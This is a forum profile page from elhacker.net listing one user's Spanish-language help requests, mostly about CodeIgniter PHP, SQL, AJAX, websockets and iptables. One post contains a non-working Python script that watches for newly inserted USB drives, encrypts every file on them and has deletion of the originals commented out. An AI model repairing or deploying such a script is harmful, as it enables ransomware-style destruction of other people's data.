elhacker.net cabecera Bienvenido(a), Visitante. Por favor Ingresar o Registrarse
¿Perdiste tu email de activación?.

 

 


Tema destacado: Los 10 CVE más críticos (peligrosos) de 2020


  Mostrar Temas
Páginas: [1] 2 3 4 5 6 7 8
1  Sistemas Operativos / GNU/Linux / rutear el trafico de tor a ciertas aplicaciones en: 24 Febrero 2019, 23:30 pm
lo que busco es como rutear el trafico de tor a ciertas apps como hexchat , firefox y otras pero la cosa es que no quiero que divulge el la IP del ISP y en caso que no se cumpla me notifique que no estoy usando proxy o VPN pero que no divulge la IP , como podria hacer esto?

Código
  1. iptables -A INPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
  2. iptables -A INPUT -s 10.11.0.xx -j ACCEPT #VPN traffic
  3. iptables -A INPUT -s ip -j ACCEPT # CTF network
  4. iptables -A INPUT -m state --state NEW -p tcp --dport 80 -j ACCEPT
  5. iptables -A INPUT -m state --state NEW -p tcp --dport 22 -j ACCEPT
  6. iptables -A INPUT -m state --state NEW -p tcp --dport 9050 -j ACCEPT
  7. iptables # routing the traffic to certain application via port or the best to achieve it
  8. iptables -A INPUT -j DROP    # or REJECT
  9. service iptables save
  10. service iptables restart
2  Programación / PHP / como puedo arreglar mis validaciones de notificaciones? en: 11 Julio 2017, 21:48 pm
bueno lo que necesito es  una ves que el usuario haya vendido el producto del carrito entonces cheque que si el total stock es <= a la cantidad minima enviemos una notificacion pero esa notificacion la vamos a guardar en la base de datos  solo que no se como hacerlo tengo mi if
Código
  1. if($this->sale->concretar_venta($this->session->carrito, $total, $cantidad_pagada, $cambio)){
  2.                echo 1;
  3.            }
  4.            else{
  5.                echo "Ocurrio un error al concretar la venta, por favor intentelo de nuevo";
  6.            }
para validad que sea existosa la venta , pero como agrego si el stock total final sea <= a lo que min es ,


Código
  1. public function concretar_venta(){
  2.        if($this->sale->checa_carrito_vacio($this->session->carrito)){
  3.            $total = $this->input->post("total", TRUE);
  4.            $cantidad_pagada = $this->input->post("cantidad_pagada", TRUE);
  5.            $cambio = $cantidad_pagada - $total;
  6.            if($this->sale->concretar_venta($this->session->carrito, $total, $cantidad_pagada, $cambio)){
  7.                echo 1;
  8.            }
  9.            else{
  10.                echo "Ocurrio un error al concretar la venta, por favor intentelo de nuevo";
  11.            }
  12.        }
  13.        else{
  14.           $this->json(array('error' => 'The cart is empty'));
  15.        }
  16.    }


el codigo de notificaciones lo que pasa que si las inserta solo que todos tienen que estar en lo minimo para poder ver si esta bien o mal como pudiera checar que si alguno de los productos no cumple ese producto solo envia la notificacion.

Código
  1. public function index()
  2. {
  3. $this->session->carrito = $this->sale->checar_existe_carrito();
  4. $array = $this->sale->get_all_cart($this->session->carrito);
  5. $product_id = array();
  6. foreach ($array as $key => $value) {
  7. $product_id[] = $value['id'];
  8. }
  9. //$this->json($product_id);
  10. $this->notification->addNotification('low stock', $product_id, $this->session->log['id'], 'low stock');
  11. $this->json($product_id);
  12. $product = $this->products->get_product_id($product_id);
  13. if ($product->stock <= 8) {
  14. echo "wrong";
  15. }else{
  16. echo "good";
  17. }
  18.  
  19. }
3  Programación / Bases de Datos / problema al momento de mostrar los datos por filtrado del status en: 24 Junio 2017, 05:22 am
lo que quiero hacer es que cuando llame mi vista deberia mostrarme la ultima venta pero no la realiza porque en la tabla storelte_order hay un campo que se autogenera en status 0 si no  se concreta pero deberia funcionarme el query con != 0 o <> 0 pero ninguno funciona alguna idea como solucionarlo?

Código
  1. SELECT first_name,last_name,description,quantity,price,storelte_order.total,cash_tend,change_due,storelte_order.created_at
  2. FROM storelte_order_detail
  3. INNER JOIN storelte_products ON storelte_products.id = storelte_order_detail.product_id
  4. INNER JOIN storelte_order ON storelte_order.id = storelte_order_detail.order_id
  5. INNER JOIN storelte_users ON storelte_users.id = storelte_order.user_id
  6. WHERE storelte_order.id = (SELECT MAX(storelte_order.id) FROM storelte_order) AND user_id = 1 AND storelte_order.STATUS != 1

view
Código
  1. CREATE
  2.    ALGORITHM = UNDEFINED
  3.    DEFINER = `root`@`localhost`
  4.    SQL SECURITY DEFINER
  5. VIEW `storelte`.`ticket` AS
  6.    SELECT
  7.        `storelte`.`storelte_users`.`first_name` AS `first_name`,
  8.        `storelte`.`storelte_users`.`last_name` AS `last_name`,
  9.        `storelte`.`storelte_products`.`description` AS `description`,
  10.        `storelte`.`storelte_order_detail`.`quantity` AS `quantity`,
  11.        `storelte`.`storelte_order_detail`.`price` AS `price`,
  12.        `storelte`.`storelte_order`.`total` AS `total`,
  13.        `storelte`.`storelte_order`.`cash_tend` AS `cash_tend`,
  14.        `storelte`.`storelte_order`.`change_due` AS `change_due`,
  15.        `storelte`.`storelte_order`.`created_at` AS `created_at`
  16.    FROM
  17.        (((`storelte`.`storelte_order_detail`
  18.        JOIN `storelte`.`storelte_products` ON ((`storelte`.`storelte_products`.`id` = `storelte`.`storelte_order_detail`.`product_id`)))
  19.        JOIN `storelte`.`storelte_order` ON ((`storelte`.`storelte_order`.`id` = `storelte`.`storelte_order_detail`.`order_id`)))
  20.        JOIN `storelte`.`storelte_users` ON ((`storelte`.`storelte_users`.`id` = `storelte`.`storelte_order`.`user_id`)))
  21.    WHERE
  22.        ((`storelte`.`storelte_order`.`id` = (SELECT
  23.                MAX(`storelte`.`storelte_order`.`id`)
  24.            FROM
  25.                `storelte`.`storelte_order`))
  26.            AND (`storelte`.`storelte_order`.`user_id` = 1)
  27.            AND (`storelte`.`storelte_order`.`status` <> 0))

4  Programación / Desarrollo Web / long polling ajax no esta funcionando bien en: 25 Abril 2017, 01:24 am
lo hace este script es que cuando cambio algo en la base de datos automaticamente se refleja en el sitio solo que cuando agrego un elemento a la base de datos cada ves tengo que recargar la pagina como pudiera hacer para solucionar esto? otra cosa en mi timestamp en la consola de google chrome parece asi http://localhost/storelte/notify/pusher?timestamp=1493076211  pending pero al agregar el nuevo elemento no cambia el timestamp porq no lo hace automatico tengo que recargar para verlo no se que estoy haciendo mal en el ajax ,
Código
  1. $(function(doc, win, $) {
  2.    var has_focus = true;
  3.    var notification = win.Notification || win.mozNotification || win.webkitNotification;
  4.    var $badge = $("#notifications-badge");
  5.    var $list = $("#notifications-list");
  6.    var $button = $("#notifications-button");
  7.    URL_GET_NOTIFICATION = BASE_URL + 'notify/pusher';
  8.    URL_GET_NOTIFICATION_UPDATE = BASE_URL + 'notify/update';
  9.  
  10.    if ('undefined' === typeof notification) {
  11.        console.log('Web notification not supported');
  12.    } else {
  13.        notification.requestPermission(function(permission) {});
  14.    }
  15.  
  16.    function check_notifications(timestamp) {
  17.        $.ajax({
  18.            type: 'GET',
  19.            url: URL_GET_NOTIFICATION,
  20.            data: { timestamp : timestamp },
  21.            dataType: 'json',
  22.            async: true,
  23.            success: function (data) {
  24.                for (var i in data.notifications) {
  25.                    notify(data.notifications[i].message, data.notifications[i].type, data.notifications[i].timestamp);
  26.                }
  27.                check_notifications(data.timestamp);
  28.            }
  29.        });
  30.    }
  31.  
  32.     function notify(message, type, created_at) {
  33.        var type_txt = 'info';
  34.        var url = '#';
  35.        var icon = 'info-circle';
  36.  
  37.        if (type == 0) {
  38.            type_txt = 'success';
  39.            icon = 'check';
  40.        } else if (type == 1) {
  41.            type_txt = 'info';
  42.            icon = 'exclamation';
  43.        } else if (type == 2) {
  44.            type_txt = 'warning';
  45.            icon = 'exclamation-triangle';
  46.        } else if (type == 3 || type == 4) {
  47.            type_txt = 'danger';
  48.            icon = 'fire';
  49.        }
  50.  
  51.        $badge.show();
  52.        $badge.text(parseInt($badge.text()) + 1);
  53.  
  54.        $list.find(".item").eq(13).nextAll(".item").remove();
  55.        var item = '<li class="item text-' + type_txt + '"><a href="' + url + '"><span class="text-' + type_txt + '">' +
  56.            '<i class="fa fa-' + icon + ' fa-fw"></i> ' + message.substr(0, 22) + '</span>' +
  57.            '<span class="pull-right text-muted small" data-time="' + created_at + '">X</span></a></li>' +
  58.            '<li class="item divider"></li>';
  59.        $list.prepend(item);
  60.  
  61.        $('.dropdown.open .dropdown-toggle').dropdown('toggle');
  62.  
  63.        return true;
  64.    }
  65.  
  66.    $(win).on("blur", function () {
  67.        has_focus = false;
  68.    });
  69.  
  70.    $(win).on("focus", function () {
  71.        has_focus = true;
  72.    });
  73.  
  74.    $button.on("click", function () {
  75.        $badge.fadeOut(300, function () {
  76.            $badge.text(0);
  77.        });
  78.  
  79.        $list.find("span[data-time]").each(function (index) {
  80.            var $this = $(this);
  81.            $this.text(moment.unix($this.data('time')).fromNow());
  82.        });
  83.    });
  84.  
  85.    check_notifications();
  86. }(document, window, jQuery));
  87.  
  88. $('#notifications-button').on('click', function () {
  89.    $.ajax({
  90.        type: 'GET',
  91.        url: 'http://localhost/storelte/notify/update',
  92.        success: function(data){
  93.        }
  94.    });
  95. });
5  Programación / PHP / websocket ratchet en: 22 Abril 2017, 03:48 am
lo que queiero hacer es como mandar los mensajes a la base de datos para poder mostrarlos en la vista usando ratchet websocket . mis websocket ya los genera pero desde otro php para generarlos por medio de un boton como prueba pero como pudiera hacerlos de manera dinamica para detectar el evento y mostrarlos ?

Código
  1. public function pusher(){
  2.     $entryData = array(
  3.         'category' => $this->input->post('category'),
  4.         'title'    => $this->input->post('title'),
  5.         'article'  => $this->input->post('article'),
  6.         'timestamp'     => time()
  7.     );
  8.  
  9.    //$this->notification->addNotification($entryData);
  10.  
  11.    // This is our new stuff
  12.  
  13.    $context = new ZMQContext();
  14.    $socket = $context->getSocket(ZMQ::SOCKET_PUSH, 'my pusher');
  15.    $socket->connect("tcp://localhost:5555");
  16.  
  17.    $socket->send(json_encode($entryData));
  18.    print_r($entryData);
  19.  
  20. }

Código
  1. var sock = new ab.Session('ws://192.168.0.4:8080',
  2.        function() {
  3.            sock.subscribe('kittensCategory', function(topic, data) {
  4.                $badge.show();
  5.                $badge.text(parseInt($badge.text()) + 1);
  6.  
  7.                $list.find(".item").eq(13).nextAll(".item").remove();
  8.                var item = '<li class="item text-warning"><a href="#"><span class="text-warning">' +
  9.                    '<i class="fa fa-exclamation-triangle fa-fw"></i>'+data.title+' is low'+'</span>' +
  10.                    '<span class="pull-right text-muted small" data-time="">'+data.timestamp+'</span></a></li>' +
  11.                    '<li class="item divider"></li>';
  12.                $list.prepend(item);
  13.                $('.dropdown.open .dropdown-toggle').dropdown('toggle');
  14.            });
  15.        },
  16.        function() {
  17.            console.warn('WebSocket connection closed');
  18.        }, {
  19.            'skipSubprotocolCheck': true
  20.        }
  21.    );
  22.  
6  Informática / Hardware / procesador para edicion de video y cracking de password offline usando la gpu en: 17 Enero 2017, 23:52 pm
bueno tenia pensando usar entre  AMD FX-8320E / FD6300WMHKBOX FX-6300 6-Core  y RX 460 4gb ddr5  o EVGA GeForce GTX 960 4GB SuperSC ACX 2.0+ con una  ASRock 960GM/U3S3 FX Micro ATX AM3+o gigabyte GA-78LMT-USB3 Micro ATX AM3+ pero no se por cual decidirme
7  Programación / PHP / error 500 Internal server al momento de enviar datos al servidor codeigniter en: 17 Diciembre 2016, 20:29 pm
el error es porque cuando trato de enviar mis datos al server me da error 500 internal error pero si recargo la pagina si me los subio a que se debe este error? otra cosa en la parte de   $
Código
  1. ("#description").mask("(999) 999-9999");
no me quiere agarrar el mask pero si abro la consola en chrome y hago lo mismo si la agarra como puedo arreglar ambos errores?

controlador

Código
  1. public function addProduct(){
  2. $descripcion = $this->input->post('description');
  3. $cost_price =  $this->input->post('cost_price');
  4. $selling_price = $this->input->post('selling_price');
  5. $wprice = $this->input->post('wprice');
  6. $stock = $this->input->post('stock');
  7. $data_product = $this->item->addProduct($descripcion,$cost_price,$selling_price,$wprice,$stock);
  8. $data = array(
  9. 'description' => $descripcion,
  10. 'cost_price' => $cost_price,
  11. 'selling_price' => $selling_price,
  12. 'wprice' => $wprice,
  13. 'stock' => $stock
  14. );
  15. $this->json($data_product);
  16. }
  17.  


model
Código
  1. public function addProduct($descripcion,$cost_price,$selling_price,$wprice,$stock){
  2. $data = array(
  3. 'descripcion' => $descripcion,
  4. 'precio_compra' => $cost_price,
  5. 'precio_venta' => $selling_price,
  6. 'precio_mayoreo' => $wprice,
  7. 'existencia' => $stock
  8. );
  9.  
  10. $query = $this->db->insert('storelte_articulos',$data);
  11. return $query->result_array();
  12. }


ajax

Código
  1. $('#add').on('click',function(){
  2.        $("#description").mask("(999) 999-9999");
  3. $("#new_product").validate();
  4. BootstrapDialog.show({
  5.            message: function(dialog) {
  6.                var $message = $('<div></div>');
  7.                var pageToLoad = dialog.getData('pageToLoad');
  8.                $message.load(pageToLoad);
  9.  
  10.                return $message;
  11.            },
  12.            data: {
  13.                'pageToLoad': URL_GET_VIEW_PRODUCT
  14.            },
  15.            closable: false,
  16.            buttons:[{
  17.                id: 'btn-ok',
  18.                cssClass: 'btn-primary',
  19.                icon: 'glyphicon glyphicon-send',
  20.                label: ' Save',
  21.             action: function (e) {
  22.                    var description = $('#description').val();
  23.                    var cost_price = $('#cost_price').val();
  24.                    var selling_price = $('#selling_price').val();
  25.                    var wprice = $('#wprice').val();
  26.                    var stock = $('#stock').val();
  27.             if($("#new_product").valid()){
  28.                        $.ajax({
  29.                            url: URL_GET_ADD_PRODUCT,
  30.                            type: 'POST',
  31.                            data: {description: description, cost_price: cost_price, selling_price: selling_price, wprice: wprice, stock: stock}
  32.                        }).done(function (e) {
  33.                            console.log(e);
  34.                        });
  35.                    }
  36.             }
  37.            },{
  38.             id: 'btn-cancel',
  39.             cssClass: 'btn-danger',
  40.                icon: 'glyphicon glyphicon-remove',
  41.             label: ' Cancel',
  42.             action: function (e) {
  43.                    e.close();
  44.             }
  45.            }]
  46.        });
  47. });
8  Programación / Scripting / el script al momento de cifrar los archivos del usb truena python en: 7 Diciembre 2016, 07:43 am
lo que quiero es hacer que en cuanto mande la ruta de los archivos del usb que me encripte todo pero cuando quiero hacer ese paso me truena y dice que no existe la ruta espeficiada pero en el scan que hace si vienen los archivos como pudiera arreglarlo?

Código
  1. Searching usb...
  2. letter: F:\
  3. There were 1 drives added: set(['F']). Newly mounted drive letter is F:\
  4.  
  5. Traceback (most recent call last):
  6.  File "C:\Users\Aaron\Desktop\new\script.py", line 80, in <module>
  7.    encrypt_file(str(encrypt_files))
  8.  File "C:\Users\Aaron\Desktop\new\script.py", line 25, in encrypt_file
  9.    filesize = str(os.path.getsize(filename)).zfill(16)
  10.  File "C:\Python27\lib\genericpath.py", line 57, in getsize
  11.    return os.stat(filename).st_size
  12. WindowsError: [Error 3] El sistema no puede encontrar la ruta especificada: "['Black_Hat_Python_Python_Programming_for_Hackers_and_Pentesters (1).pdf', 'CEH-Exam-Blueprint-v2.0.pdf', 'index.png', '\\xedndice.png', 'Learning Python, 5th Edition.pdf', 'kali-linux-2016.2-amd64.iso', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02 (1).pdf', 'C\\xe1lculo de Una Variable - James Stewart - 7a Ed.pdf', 'Untitleddocument.docx', 'VirtualBox-5.1.8-111374-Win.exe', 'from_sqli_to_shell_i386.iso', 'script.py', 'Visit Islas Tasmania.docx', 'solucionariodechapraycanale-quintaedicion-150726233458-lva1-app6891.pdf', 'solucionarioclculounavariable-140213124828-phpapp01-140925200731-phpapp02.pdf']"


Código
  1. from ctypes import windll
  2. from Crypto.PublicKey import RSA
  3. from Crypto.Hash import SHA256
  4. from Crypto import Random
  5. import string
  6. import time
  7. import os, sys
  8.  
  9.  
  10.  
  11.  
  12. def get_drives():
  13.    drives = []
  14.    bitmask = windll.kernel32.GetLogicalDrives()
  15.    for letter in string.uppercase:
  16.        if bitmask & 1:
  17.         drives.append(letter)
  18.        bitmask >>= 1
  19.    return drives
  20.  
  21.  
  22. def encrypt(filename):
  23. chunksize = 64 * 1024
  24. outFile = os.path.join(os.path.dirname(filename), "(encrypted)"+os.path.basename(filename))
  25. filesize = str(os.path.getsize(filename)).zfill(16)
  26. IV = ''
  27.  
  28. for i in range(16):
  29. IV += chr(random.randint(0, 0xFF))
  30.  
  31. encryptor = AES.new(key, AES.MODE_CBC, IV)
  32.  
  33. with open(filename, "rb") as infile:
  34. with open(outFile, "wb") as outfile:
  35. outfile.write(filesize)
  36. outfile.write(IV)
  37.  
  38. while True:
  39. chunk = infile.read(chunksize)
  40.  
  41. if len(chunk) == 0:
  42. break
  43.  
  44. elif len(chunk) % 16 !=0:
  45. chunk += ' ' * (16 - (len(chunk) % 16))
  46.  
  47. outfile.write(encryptor.encrypt(chunk))
  48.  
  49.  
  50. def list_files(path):
  51.    files = []
  52.    for name in os.listdir(path):
  53.        if os.path.isfile(os.path.join(path, name)):
  54.            files.append(name)
  55.    return files
  56.  
  57.  
  58.  
  59. if __name__ == '__main__':
  60. print 'Searching usb...'
  61. while True:
  62. before = set(get_drives())
  63. time.sleep(5)
  64. after = set(get_drives())
  65. drives = after - before
  66. delta = len(drives)
  67. if (delta):
  68. for drive in drives:
  69. if os.system("cd " + drive + ":") == 0:
  70. newly_mounted = '%c:\\'%(drive)
  71. encrypt_files = list_files(newly_mounted)
  72. print "letter: "+newly_mounted
  73. print "fueron montados  %d USB agregada : %s. la letra es %s" % (delta, drives, newly_mounted)
  74. for x in encrypt_files:
  75. if os.path.basename(x).startswith("(encrypted)"):
  76. print "%s is already encrypted" %str(x)
  77. pass
  78.  
  79. else:
  80. encrypt_file(str(encrypt_files))
  81. print "encryptacion terminada %s" %str(x)
  82. """os.remove(x) """
  83. else:
  84. print "no hay ningun usb"
  85.  
  86.  
  87.  
9  Programación / PHP / ¿Cómo puedo conseguir mi entrada JSON casa controler controler?(codeigniter) en: 23 Octubre 2016, 03:20 am
Quiero recuperar mi JSON para mi controlador home porque quiero esos valores para mi menú basado en roles. Si hago esto con archivos separados  no funciona en  mi código. de view home Entonces, ¿qué es estoy haciendo mal con el? ¿Cómo se puede arreglar bien mostrando los valores correctos?


login controller:

Código
  1. <?php
  2. defined('BASEPATH') OR exit('No direct script access allowed');
  3.  
  4. class Login extends MY_Controller {
  5.  public function __construct(){
  6.    parent::__construct();
  7.  }
  8.  
  9.  public function index(){
  10.    $data['module'] = 'Login';
  11.    $this->load->view('login',$data);
  12.  }
  13.  
  14.  public function getAccess(){
  15.    if ($this->session->userdata('logged_in') == TRUE){
  16.      redirect('home');
  17.    }else{
  18.      $username = $this->security->xss_clean($this->input->post('username'));
  19.      $password = $this->security->xss_clean($this->input->post('password'));
  20.      $array = $this->user->login($username,$password);
  21.      if ($array[0] == 0) {
  22.        echo 0;
  23.      }else{
  24.        $data_session = array(
  25.          'id' => $array[0]['id'],
  26.          'name' => $array[0]['nombre'],
  27.          'last_name' => $array[0]['apellido'],
  28.          'type' => $array[0]['id_perfil'],
  29.          'logged_in' => TRUE
  30.        );
  31.        $this->session->set_userdata('log',$data_session);
  32.      }
  33.    }
  34.  }
  35.  
  36.  public function logout(){
  37.    $this->session->sess_destroy();
  38.    redirect('login');
  39.  }
  40.  
  41.  public function getModules($id_module){
  42.        if($this->session->userdata('log')){
  43.            $data = $this->session->userdata('log');
  44.            $menu = array();
  45.            $seccions = $this->module->get_rows();
  46.            foreach ($seccions as $index => $sección){
  47.               $modules = $this->module->query("SELECT CONCAT('".$sección['id']."',storelte_modulo.id) AS id,CONCAT('".base_url('assets/img/sidebar')."','/',storelte_modulo.icon) as icon, storelte_modulo.modulo AS value,storelte_modulo.seccion_id,CONCAT('".base_url()."',storelte_modulo.url) AS  url FROM storelte_modulo INNER JOIN storelte_modulo_perfil ON  storelte_modulo_perfil.modulo_id = storelte_modulo.id WHERE seccion_id = $sección[id] AND storelte_modulo_perfil.perfiles_id = $data[id] AND storelte_modulo_perfil.STATUS = 1");
  48.                $seccions[$index]['data']= $modules;
  49.                if (!count($seccions[$index]['data']))
  50.                    unset($seccions[$index]);
  51.            }
  52.            foreach ($seccions as $item)
  53.                array_push($menu,$item);
  54.          $this->data['fields'] = $menu;
  55.          $this->json($this->data);
  56.          $this->load->view('home',$this->data);
  57.        }
  58.    }
  59. }
  60.  


home controller:

Código
  1.   <?php if ( ! defined('BASEPATH')) exit('No direct script access allowed');
  2.  
  3. class Home extends MY_Controller {
  4.  
  5.  public function __construct(){
  6.    parent::__construct();
  7.    $this->isLogged();
  8.  }
  9.  
  10.  public function index(){
  11.    $data = $this->session->userdata('log');
  12.    $data['module']  = "Home";
  13.    $this->load->view('header',$data);
  14.    $this->load->view('home',$data);
  15.  }
  16.  
  17. }
  18.  


view home

Código
  1. <section class="sidebar">
  2.      <!-- sidebar menu: : style can be found in sidebar.less -->
  3.      <ul class="sidebar-menu">
  4.         <li class="treeview">
  5.          <a href="#">
  6.            <img src="<?= base_url().'/assets/img/sidebar/items.png'?>" alt="" class="menu-icon"> <span>Inventory</span>
  7.            <i class="fa fa-angle-left pull-right"></i>
  8.          </a>
  9.          <ul class="treeview-menu">
  10.            <li><a href="<?=base_url('inventory/product');?>"><i class="fa fa-circle-o text-aqua"></i> Product</a></li>
  11.          </ul>
  12.        </li>
  13.  
10  Programación / Desarrollo Web / problema al querer implementar ajax y validate en bootstrap dialog en: 5 Septiembre 2016, 05:49 am
el problema que es cuando quiero validate en action: es  lo que hara el boton pero como pudiera hacer que cuando campos vacios no avanze y no se quite el modal y cuando si se vaya al $.ajax(); y  haga el spin si me pudiera ayudar como implementarlo seria bueno.... si me pudieran hechar la mano?

Código
  1. <section class="content">
  2.            <section class="col-lg-12 connectedSortable">
  3.                <div class="box">
  4.                    <div class="box-header">
  5.                        <div class="box-title">Lista De Productos</div>
  6.                    </div>
  7.                    <div class="box-body">
  8.                      <button class="btn btn-primary" id="add_item">New item</button>
  9.                        <table id="example" class="table table-bordered table-striped">
  10.                            <thead>
  11.                                <tr>
  12.                                    <th>Nombre del proveedor</th>
  13.                                    <th>RFC</th>
  14.                                    <th>Teléfono</th>
  15.                                    <th>Correo electrónico</th>
  16.                                    <th>Domicilio</th>
  17.                                </tr>
  18.                            </thead>
  19.                        </table>
  20.                    </div>
  21.                </div>
  22.            </section>
  23.        </section>
  24.  

Código
  1.  $(function(){
  2. URL_GET_DATATABLE = BASE_URL+'inventory/provider/datatable';
  3. $('#example').DataTable({
  4. "lengthChange": false,
  5. ajax: {
  6. url: URL_GET_DATATABLE,
  7. type: 'POST'
  8. }
  9. });
  10.  
  11. $('#add_item').on('click',function(){
  12. BootstrapDialog.show({
  13. message:  $("<form class='form-inline' id='providerForm'><div class='form-group'><label class='full_name'>Full name</label> <input type='text' class='_full_name form-control' name='full_name'></div><div class='form-group'><label class='phone' for='phone'>Phone</label> <input type='text' class='_phone form-control'></div><div class='form-group'><label class='email' for='email'>E-mail</label> <input type='text' class='_email form-control'></div><div class='form-group'><label class='rfc' for='email'>Rfc</label> <input type='text' class='_rfc form-control'></div><div class='form-group'><label class='address' for='address'>Address</label> <input type='text' class='_address form-control'></div>"),
  14. closable: true,
  15.            closeByBackdrop: false,
  16.            closeByKeyboard: false,
  17. buttons: [{
  18. id: 'submit',
  19. icon: 'glyphicon glyphicon-send',
  20.                label: 'Send ajax request',
  21.                cssClass: 'btn-primary',
  22.                autospin: true,
  23.                action: function (dialogRef) {
  24.                 dialogRef.enableButtons(false);
  25.                    dialogRef.setClosable(false);
  26.                }
  27. }]
  28. });
  29. });
  30. });
  31.  
  32.  
Páginas: [1] 2 3 4 5 6 7 8
WAP2 - Aviso Legal - Powered by SMF 1.1.21 | SMF © 2006-2008, Simple Machines